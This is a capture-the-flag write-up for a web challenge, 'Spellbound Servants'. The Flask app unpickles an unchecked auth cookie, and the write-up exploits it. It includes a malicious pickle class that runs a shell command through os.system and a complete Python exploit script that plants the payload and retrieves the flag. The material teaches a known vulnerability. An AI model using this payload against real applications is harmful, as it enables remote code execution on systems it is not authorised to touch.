Spellbound Servants

INTRODUCTION

I’m not quite sure about the description on this one… To me, it just looks like a partially-finished storefront 😂

As long as you don’t get too bogged-down with all the Flask-related code, this challenge is really easy. A bit of code analysis leads directly to the solution, which involves only a single step of deserialization to accomplish. Besides the vulnerability, this challenge presents a great example of writing a clean & tidy Flask server.

index page

FIRST TAKE

When we navigate to the target, there is a simple login / registration pane presented:

login page

After registration, we can login, and see a few different products displayed in a simple carousel. Seemingly, these are the only two pages for the challenge.

The Add to Cart and Add to Wishlist buttons don’t seem to actually do anything, so there will be no Cart functionality to play with.

buttons

👀 Actually, I don’t really see anything interactive…

Since we have access to all the source code, we can see that there isn’t really anything strange happening with the registration process. It stores the passwords in plaintext (obviously a bad idea, but so far we don’t see any reason that the database itself might be vulnerable so we’ll ignore that for now):

def query(query, args=(), one=False):
    cursor = mysql.connection.cursor()
    cursor.execute(query, args)
    rv = [dict((cursor.description[idx][0], value)
        for idx, value in enumerate(row)) for row in cursor.fetchall()]
    return (rv[0] if rv else None) if one else rv
# ...
def register_user_db(username, password):
    check_user = query('SELECT username FROM users WHERE username = %s', (username,), one=True)
    if not check_user:
        query('INSERT INTO users(username, password) VALUES(%s, %s)', (username, password,))
        mysql.connection.commit()
        return True
    return False

It seems to use a parameter query properly, and has set one=True, so the basic mitigations against SQLi are already in-place for the registration endpoint.

Something strange I noticed upon logging in is that we’re granted a new cookie called auth. We have a session cookie too, but for some reason both mechanisms are in place.

cookies

Checking the contents of the auth cookie shows right away that something is seriously wrong:

pickle

This is the format of a Python pickle, which are famous for being vulnerable to deserialization attacks when improperly handled! The “tell” is in the nonprintable characters at the beginning (with a curly brace), and the final two characters being s.

FIND THE VULN

If we can find out how the auth cookie is read, we will be able to see how the cookie value is used. If it’s deserialized unsafely, we should be able to use a deserialization attack against this target.

Run it locally with a terminal

To explore how the target looks as it’s running, we can open a terminal inside the docker container.

Modify build-docker.sh and entrypoint.sh to allow for a shell to open instead of running supervisord in the foreground. For build-docker.sh, add -it and run sh after the run target:

#docker run -p 1337:1337 --rm --name=web_spellbound_servants web_spellbound_servants
docker run -it -p 1337:1337 --rm --name=web_spellbound_servants web_spellbound_servants sh

In entrypoint.sh, set supervisord to run in the background and exec sh after everything is done:

# background supervisord instead
/usr/bin/supervisord -c /etc/supervisord.conf &
exec sh

Source code analysis

We can grep the source code for the keyword cookies (the request attribute that Flask accesses to get the request cookies), and see in util.py the isAuthenticated wrapper decorator:

For anyone unfamiliar: a wrapper decorator is used a lot like middleware is used in Express or other frameworks.

It allows a function to be executed along the request

def isAuthenticated(f):
    @wraps(f)
    def decorator(*args, **kwargs):
        token = request.cookies.get('auth', False)
        if not token:
            return abort(401, 'Unauthorised access detected!')
        try:
            user = pickle.loads(base64.urlsafe_b64decode(token))
            kwargs['user'] = user
            return f(*args, **kwargs)
        except:
            return abort(401, 'Unauthorised access detected!')
    return decorator

😍 There are no attempts to validate or sanitize the pickle. The pickle.loads() function is called on a completely user-controlled value. This means we can definitely perform a deserialization attack.

We can check the routes.py blueprint to see how the isAuthenticated wrapper decorated gets used. It is only called in one place - for the /home route (the page that displays the carousel of items for sale):

@web.route('/home', methods=['GET', 'POST'])
@isAuthenticated
def homeView(user):
    return render_template('index.html', user=user)

Strategy

Since there is no protection on the auth cookie, and it is completely user-controlled, we can probably perform our attack by doing the following:

  1. Craft a malicious pickle payload that contains an OS shell command injection
  2. Pickle our payload and decode it to an ASCII string
  3. Overwrite the auth cookie with our payload and refresh the page.

The question that remains is “What should the OS shell command injection be?” 🤔

Well, we could open a reverse shell. This is a challenge that doesn’t use the HackTheBox VPN, so it is slightly more complicated than usual. For details on how to pull that off, please check out my walkthrough on the C.O.P. web challenge.

We could alternatively just copy the flag into the /static directory of the webserver. Files in there are served by default, so if we can issue a single command to copy the flag, we can read the flag by checking the correct URL. (This is much easier than opening a reverse shell without a VPN.)

EXPLOIT

Make the payload

By reading the Dockerfile or by checking the locally-running docker container, we know

  • The flag is at /flag.txt
  • The static directory is at /app/application/static

Therefore, our payload should be:

cp /flag.txt /app/application/static/flag.txt

Check out this article on crafting malicious pickles; I reference it often. The gist is that we need to create a python class with the __reduce__() method implemented, and the __reduce__() method will contain a reference to os.system and an argument for it (the command-injection payload)

The malicious class can be as simple as this:

import os
# ...
class User:
    def __init__(self, user):
        self.username = user
    def __reduce__(self):
        cmd = 'cp /flag.txt /app/application/static/flag.txt'
        return os.system, (cmd,)

To get pickle an object of this class, we instantiate it then pickle it with pickle.dumps(). We want the pickled object as an ASCII representation of the base64-encoded pickle, so we can do that in Python too:

import pickle
import base64
# ...
pickled = pickle.dumps(User('jimbob'))
pickled_str = base64.urlsafe_b64encode(pickled).decode('ascii')
print(f'\nTHE PICKLED STRING IS \"{pickled_str}\"\n')

I think you could probably solve the challenge by running the script with just those two components and pasting the printed value into your browser’s auth cookie

Payload delivery

Personally, I prefer to solve the whole challenge in python as a self-contained exploit script. We do this by issuing two web requests:

  • GET /home and include the malicious pickle as the auth cookie. The payload should be delivered, and copy the flag into the /static directory
  • GET /static/flag.txt to retrieve the flag.

I’ve also parameterized the target URL (but I was too lazy to use argparse):

#!/usr/bin/env python3

import sys
import requests
import pickle
import base64
import os

def print_usage():
    print(f"Usage: python3 {sys.argv[0]} <url>")
    print("Example: python3 {sys.argv[0]} 83.136.250.116:49992")
    
def print_response(response, parts=['status','headers','body']):
    if 'status' in parts:
        print(f"HTTP/1.1 {response.status_code} {response.reason}")
    if 'headers' in parts:
        print(f"Headers:")
        for key, value in response.headers.items():
            print(f"{key}: {value}")
    if 'body' in parts:
        print(f"\nResponse Body:\n{response.text}")
    
class User:
    def __init__(self, user):
        self.username = user  # Instance variable
    
    def __reduce__(self):
        cmd = 'cp /flag.txt /app/application/static/flag.txt'
        return os.system, (cmd,)

def main():
    # Parse args
    if len(sys.argv) != 2:
        print_usage()
        sys.exit(1)
    
    pickled = pickle.dumps(User('jimbob'))
    pickled_str = base64.urlsafe_b64encode(pickled).decode('ascii')

    # Do the exploit       
    try:
        url = f"http://{sys.argv[1]}/home"
        cookies = {'auth': pickled_str}
        response = requests.get(url, cookies=cookies, timeout=3)
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")
    
    # Try to get the flag
    try:
        url = f"http://{sys.argv[1]}/static/flag.txt"
        response = requests.get(url)
        print_response(response, parts=['status', 'body'])
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    main()

Testing the script

We can try running the script against the local docker container:

exploit local docker

Perfect! Worked first try 😉

Try it live

To do this against the live server, we just change the URL. You don’t even need to visit the target website or register a user, just yeet the payload right at it:

got the flag

🍰 Fantastic


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake